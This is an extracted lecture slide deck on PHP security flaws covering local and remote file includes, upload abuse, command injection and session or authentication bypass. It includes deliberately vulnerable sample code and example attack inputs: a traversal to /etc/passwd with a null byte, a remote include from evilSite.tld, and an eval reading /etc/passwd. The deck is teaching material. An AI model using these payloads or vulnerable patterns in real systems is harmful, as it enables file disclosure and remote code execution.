©copyright justin c. klein keane php vulnerability potpourri file include, command injection &...

©Copyright Justin C. Klein Keane

PHP Vulnerability Potpourri

File Include, Command Injection & Authentication Bypass Vulnerabilities


File Include Vulnerabilities

Arbitrary file includes (reading) Local file includes Remote file includes

Directory traversal Writing arbitrary files


Basic PHP File Includes

Four common functions include()

include_once()

require()

require_once()

Difference is that require will die (with fatal E_ERROR) if the specified file is not found

Include() will produce an E_WARNING _once functions will not re-include the file if it has

already been called


How Includes Work

When PHP includes a file it will parse any PHP code within that file

Anything not delimited with the PHP delimiters (“<?php” and “?>”) will be treated as plain text

Plain text will simply be rendered inline


Typical Include

<?php

include_once('header.php');

include_once($_GET['action'] . '.php');

include_once('footer.php');

?>


Problems with Includes

Arbitrary local file includes triggered via malicious user input:

<?phpinclude_once('inc/'.$_GET['action']);

?>

If user supplies “../../../../../../../etc/passwd” as the 'action' URL variable that file will be rendered during page display!


Incorrect Projection Schemes

Some programmers will append a file extension to attempt to limit includes like /etc/passwd

<?phpinclude('inc/'.$_GET['action'].'.php');

?>

This fails for several reasons, one is because PHP is written in C


Caveats of C

C doesn't have a string type

Instead strings are null terminated character arrays:char foo[3];int main() {

foo[0] = 'B';foo[1] = 'A';foo[2] = 'R';foo[3] = '\0';

}

Without the null at the end the “string” would have no end

C reads from the start of the string until it reaches the null character when printing strings


Tricking PHP with C Conventions

Using a null character triggers C constructs and defeats the prior example

If user passes in:action=../../../../../../etc/passwd%00

then PHP executes:include('inc/../.././../../etc/passwd');

Because PHP terminates the string at the null bit (and ignores the appended '.php')

Most PHP programmers are unaware of this!


Other Include Strategies

There are other ways around extension protections

<?phpinclude('inc/'.$_GET['action'].'.php');

?>

Attacker can provide the GET var:?action=/path/to/other/php_file.php?

renders the final “.php” as a GET var to the included php_file.php


Other Dangers of Includes

Often times include files are meant to be included, not directly referenced

Include files live on the filesystem May contain vulnerabilities when called directly

as variables could be redefined or arbitrarily defined

Especially dangerous when register_globals is on!


Example

Main file:<?php

$style_dir='images/';include_once('header.php');

[...]

Include file:<html><head>

<title>Foo Site</title><style type=”text/css”>

@import url(“<?php echo $style_dir;?>style.css”);</head><body>

What happens when an attacker calls:http://sitename.tld/header.php?style_dir=http://myEvilSite.tld/css/


Remote File Include

Rather than specifying a local resource, an attacker could specify a remote file for inclusion

Remote files must be served as plain text, rather than compiled PHP

Remote text is pulled for inclusion then the local PHP compiler interprets the text, rendering the PHP locally


Remote File Include Requirements

/etc/php.ini has parameters that define the ability of PHP to include files:

;;;;;;;;;;;;;;;;;;; Fopen wrappers ;;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like http:// orftp://) as files.

allow_url_fopen = On


If allow_url_fopen is On

Attackers can include remote files:

<?phpinclude_once($_GET['action'] . '.php');

?>

Attacker can call

?action=http://evilSite.tld/evil_script.txt?


Other Include Strategies

Attackers can use includes to bypass direct access restrictions such as .htaccess

This could be used to expose files like config.ini files Attackers can include Apache files like .htpasswd

or .htaccess files which are included as plain text, exposing their contents

Attackers can subvert program flow by calling files that are normally not included

Attackers can call files readable by Apache, such as files in /tmp which may contain sensitive data (like session cookies or malicious uploads)


Writing Files

PHP functionality used to write files include: File upload functions built into an application

(such as image uploads) Utilizing PHP filesystem commands such as

fwrite()


Typical Image Upload Handler

$upload_dir = "files/";$filename = basename($_FILES['form_filename']['name']);

$target = $upload_dir . $filename;

if(move_uploaded_file($_FILES['form_filename']['tmp_name'], $target)) { echo $filename . " has been uploaded";} else{

echo "Error uploading file!";}


Common Upload Errors

Collisions cause overwrites File type is not checked

Programmer may assume only image files are being uploaded, but this isn't enforced

File type is checked inappropriately Simply checking $_FILES['upload_file']['type'] is

insufficient since this is a browser provided parameter

Double extensions (and programmer only check the first one)


Exploits for File Uploads

Attacker uploads a PHP file which contains a backdoor or exposes other system files

Attacker uploads a .htaccess file overwriting Apache rules

Attacker overwrites existing files to insert a backdoor


Fwrite()

The fwrite() function is a built in function that allows Apache to write to file handles

Often used in installers to write config files Also commonly used for logging For more information see:

http://us3.php.net/manual/en/function.fwrite.php

What is Command Injection

Also known as arbitrary code execution Attacker injects malicious input that is then

passed to functions that execute shell commands based on the input

Typical Example

<?php

if (isset($_GET['file']) {

system('rm ' . $_GET['file'] '.php');

}

?>

Developer hopes to delete a specific PHP file, but the intent of the command is easily bypassed

Injection Strategies

Shell commands are delimited by a semi-colon, so multiple commands can be chained together

The pound or hash (#) symbol denotes the beginning of a comment on the shell, any text following it will be ignored

Strategies similar to SQL injection can be utilized

Functions to Watch

Luckily, the list of commands which execute via a shell is somewhat limited:

system() Executes the command and returns output

exec() Executes command, can populate PHP

variables with output and return values passthru()

Executes command but only returns return status

Other Dangerous Functions

There are other, less common functions to watch out for

Backtick operators $retval = `ls -lh *.php`;

shell_exec() Same as backtick

Pipe Operations

PHP has commands that can open a pipe to a process, so input and output can be directed to the process

popen() and pclose() $proc = popen(“/bin/ls”, “r”);

proc_open() Offers more command control

Command Sanitization

PHP has two commands that can be used to scrub input before passing it to a command

escapeshellarg() Adds quotes around string and escapes any

internal quotes escapeshellcmd()

Escapes all special characters that could be used to interrupt or override execution flow

Note that you should still strive to sanitize to “known good” commands

Other Nefarious Outliers

preg_replace with the /e flag allows for command execution

<?php

print preg_replace('/(.*)/e', 'strtoupper("\\1")', '{${phpinfo()}}');

?>

This is certainly not the first place you would look to find command execution!

Executing PHP Commands

Using the eval() command Because of PHP's dynamic nature, variables

can actually be interpreted as commands:<?php

$x = “echo exec('cat /etc/passwd');”;

eval($x);

?>

Mitigation

PHP's php.ini contains a rarely used directive:

; This directive allows you to disable certain functions for security reasons.; It receives a comma-delimited list of function names. This directive is; *NOT* affected by whether Safe Mode is turned On or Off.disable_functions = exec, system, passthru, eval

Won't completely cut off avenues of attack but can limit the programmers power to introduce vulnerabilities

No way to limit backticks via php.ini


Auth Bypass

Authentication bypass is a vulnerability that allows an attacker to gain access to functionality without providing valid credentials

Attackers may seek to steal an authenticated users session

May also be possible to initiate a privileged session without credentials

Some functionality may not need a session


Session Handling

PHP controls “session” data via a PHPSESSID cookie by default (defined in php.ini)


Session Cookies

Difficult to predict/guess However, stored on the filesystem Location determined by settings in /etc/php.ini session.save_path = "/var/lib/php/session"

; Whether to use cookies. session.use_cookies = 1 ; This option enables administrators to make their users invulnerable to ; attacks which involve passing session ids in URLs; defaults to 0. ; session.use_only_cookies = 1 ; Name of the session (used as cookie name). session.name = PHPSESSID ; Initialize session on request startup. session.auto_start = 0 ; Lifetime in seconds of cookie or, if 0, until browser is restarted. session.cookie_lifetime = 0 ; The path for which the cookie is valid. session.cookie_path = / ; The domain for which the cookie is valid. session.cookie_domain =


Permissions on Session Dir

# ls -lah /var/lib/phptotal 156K

drwxr-xr-x 3 root root 4.0K Jun 2 12:13 .drwxr-xr-x 21 root root 4.0K Jun 2 12:42 ..drwxrwx--- 2 root apache 132K Jun 22 14:37 session

Note that apache can read and write in this directory


phpinfo() Disclosure


Data Can be Leaked

If attacker can leverage webapp to list the cookie directory they can modify their own cookies

Cookie isn't tied to an IP, so cookie holder automatically gains session access

Cookie can also be stolen from the end user JavaScript can access cookies with domain

restrictions


Logical Flaws

Application fails to check credentials properly Name collisions for instance These will not be programming errors so are

much more difficult to detect


Limited Authentication

Application may only check for authentication in one place

Some files may assume that authentication has taken place but may be accessible outside of that flow


Brute Force

Steps should be taken to limit authentication attempts

At the very least log auth attempts and alert someone on multiple failures

Be sure to limit login failure feedback (don't alert an attacker to whether or not a username or password exists)

Be wary of password recovery functionality and information it might disclose to an attacker


Logout Failure

Applications that don't properly end sessions could leave them open for exploitation

Kiosks or other public terminals are prime offenders in these circumstances


Unencrypted Authentication

Cookies and/or post data may be stolen Forms themselves should be encrypted, not just

their post targets MITM plain text keystroke loggers could be

utilized on unencrypted login forms


Information Disclosure

There are many seemingly innocuous ways that information valuable to an attacker can be disclosed

Debugging messages phpinfo() output can reveal configuration informaiton Plain text files such as .ini or .htaccess or .htpasswd

files could be exposed Directory listing could show files that would otherwise

be difficult to find HTML comments


Exposed Information

Assume any web accessible file can be read by an attacker

Tools for brute force guessing filenames and directories exist

Look at include files to make sure they can't be abused by being called directly

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